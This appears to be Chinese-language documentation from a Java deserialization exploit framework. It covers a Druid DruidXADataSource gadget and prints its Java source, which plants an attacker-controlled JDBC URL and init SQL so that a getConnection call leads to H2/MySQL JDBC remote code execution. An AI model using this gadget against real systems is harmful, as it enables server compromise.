Skip to content

Latest commit

 

History

History
82 lines (71 loc) · 5.49 KB

File metadata and controls

82 lines (71 loc) · 5.49 KB

DruidXADataSource JDBC URL Attack(DruidDataSource)

  • 类别:javanative 别名:— 优先级:—
  • 作者:—
  • 依赖com.alibaba:druid:1.2.16

作用

构造一个 com.alibaba.druid.pool.xa.DruidXADataSource,把其 url 设为攻击者可控的 JDBC URL。当上游触发 getConnection()(读取 connection 属性)时,Druid 连接池会用该 JDBC URL 建立连接,从而把「任意 getter 触发」桥接到「JDBC URL 攻击」(如 H2/MySQL 恶意 JDBC → 字节码执行 / 文件读取)。是 getter → JDBC URL 的中间跳板。

链接标签

  • 入口 tags
    • DataSourceChains —— 承接上游 nextTagsDataSourceChains 的 gadget(如 Fastjson)。
    • Getter —— 依赖上游调用其 getter 来触发。
    • END —— 就「getter 触发」这一环而言它是终点标签(不再向另一个 getter 衔接)。
  • 衔接 nextTags
    • JdbcUrlChains / JdbcUrlWithSQLChains —— 之后需接一个「产出 JDBC URL(可含初始化 SQL 列表)」的下游 gadget,其产物作为 getObjectjdbcUrl/sqlList
  • excludes:无。

源码剖析

@GadgetTags(tags={"DataSourceChains", "Getter", "END"}, nextTags={"JdbcUrlChains", "JdbcUrlWithSQLChains"})
public class DruidDataSource implements Gadget {
    private final String getterMethodName = "getConnection";
    private final String getterPropertyName = "connection";

    public Object getObject(String jdbcUrl, List<String> sqlList) throws Exception {
        DruidXADataSource dataSource = new DruidXADataSource();
        dataSource.setLogWriter(null);
        dataSource.setStatLogger(null);
        dataSource.setUrl(jdbcUrl);                    // 恶意 JDBC URL
        dataSource.setInitialSize(1);
        Reflections.setFieldValue(dataSource, "transactionHistogram", null);
        Reflections.setFieldValue(dataSource, "statLogger", null);
        Reflections.setFieldValue(dataSource, "initedLatch", null);   // 置空不可序列化 / 干扰字段
        if (sqlList != null) {
            Reflections.setFieldValue(dataSource, "connectionInitSqls", sqlList);  // 连接后执行的初始化 SQL
        }
        return dataSource;
    }

    @Override
    public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
        Object jdbcObj = chain.doCreate(context);      // 取内层:下游产出的 JDBC URL 载荷
        context.put(ContextTag.SUPER_CLASS_NAME_KEY, DataSource.class);
        context.put(ContextTag.SPECIAL_METHOD_NAME_KEY, "getConnection");
        context.put(ContextTag.GETTER_PARAM_NAME_KEY, "connection");
        String jdbcUrl = "";
        List<String> sqlList = new ArrayList<String>();
        if (jdbcObj instanceof String) {
            jdbcUrl = (String)jdbcObj;                 // 下游直接给字符串 URL
        } else if (jdbcObj instanceof Map) {
            Map jdbcMap = (Map)jdbcObj;
            jdbcUrl = (String)jdbcMap.get(ContextTag.JDBC_URL);              // 或给 Map:URL + SQL 列表
            sqlList = (List)jdbcMap.get(ContextTag.JDBC_URL_SQL_LIST);
        }
        return this.getObject(jdbcUrl, sqlList);
    }
}

逐段解释:

  • invoke()chain.doCreate(context) 取内层对象——这是下游(JdbcUrlChains/JdbcUrlWithSQLChains 类 gadget,如 H2 恶意 JDBC 构造器)产出的 JDBC URL 载荷,可能是纯 String,也可能是携带初始化 SQL 列表的 Map(键 JDBC_URL / JDBC_URL_SQL_LIST)。
  • 随后向 context 注入 getConnection / connection,让上游 getter 触发器知道该调用哪个方法。
  • getObject() 里创建 DruidXADataSourcesetUrl(jdbcUrl) 写入恶意 URL,setInitialSize(1)。真正触发点在上游调用 getConnection() 时:Druid 会用该 URL DriverManager.getConnection,若 URL 指向恶意 H2/MySQL 便可进一步 RCE;connectionInitSqls 则是连接建立后自动执行的 SQL(配合 H2 的 CREATE ALIAS ... RUNSCRIPT 等)。
  • 多处 Reflections.setFieldValue(..., null)transactionHistogramstatLoggerinitedLatch)是把 Druid 内部不可序列化或会干扰构造/序列化的字段清空,保证对象能被安全携带。

DruidDataSource2 的区别:本类用 DruidXADataSource(XA 版本),未带 NotForJavaSerializable 标签,可用于要求整图 Java 可序列化的场景;DruidDataSource2 用普通 DruidDataSource 并标注 NotForJavaSerializable

参数(@Param)

本类无独立 @Param;JDBC URL 与初始化 SQL 均来自下游 gadget 的产物(chain.doCreate 的返回值)。

适用版本与原理要点

  • 依赖 com.alibaba:druid:1.2.16(其它相近版本内部字段名一致时通常也可)。
  • 本质是「DataSource.getConnection 桥接 JDBC URL 攻击」,需两侧配合:上游一个 getter 触发器 + 下游一个 JDBC URL 载荷 gadget。
  • 使用 XA 版数据源,绕开普通 DruidDataSource 不可 Java 序列化的限制,因此适用面比 DruidDataSource2 更广。

所属预设链

自由构件,未直接出现在预设链(usedInChains 为空)。

关联